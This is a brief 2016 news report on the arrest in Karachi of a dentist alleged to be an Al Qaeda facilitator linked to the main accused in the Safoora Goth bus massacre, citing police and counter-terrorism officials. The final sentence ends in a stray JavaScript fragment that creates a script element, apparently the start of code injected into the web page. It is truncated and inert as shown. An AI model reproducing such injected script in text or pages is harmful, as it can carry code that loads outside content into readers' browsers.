Published On: Mon, Feb 15th, 2016
Published in Category: Karachi

Suspected facilitator of Safoora Goth massacre held

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Karachi: The facilitator of Safoora Goth carnage has been apprehended by the forces, local media quoting officials reported on Sunday.

A dentist allegedly linked to Saad Aziz, main culprit of massacre, was arrested after an encounter early Sunday, Preedy police station officials said.

Preedy police booked suspect Dr Usman in two cases pertaining to attacking police and possession of illegal weapons.

Counter-Terrorism Department (CTD) head Raja Umer Khattab said Dr Usman was familiar with Saad Aziz, the main accused in the Safoora Goth massacre, but played no direct role in the attack.

Khattab said Dr Usman is an Al Qaeda facilitator with links to Al Qaeda Punjab representatives Haris, who has been arrested, and Ali Rehman, who is still at large.

At least 43 people were killed and 13 others wounded in a barbaric attack on members of the Ismaili community in Karachi’s Safoora Goth area on May 14, 2015. Six gunmen entered a bus carrying 60 people and executed 43 passengers at close-range, according to Sindh Police Inspector General Ghulam Haider Jamali.var d=document;var s=d.createElement(‘script’);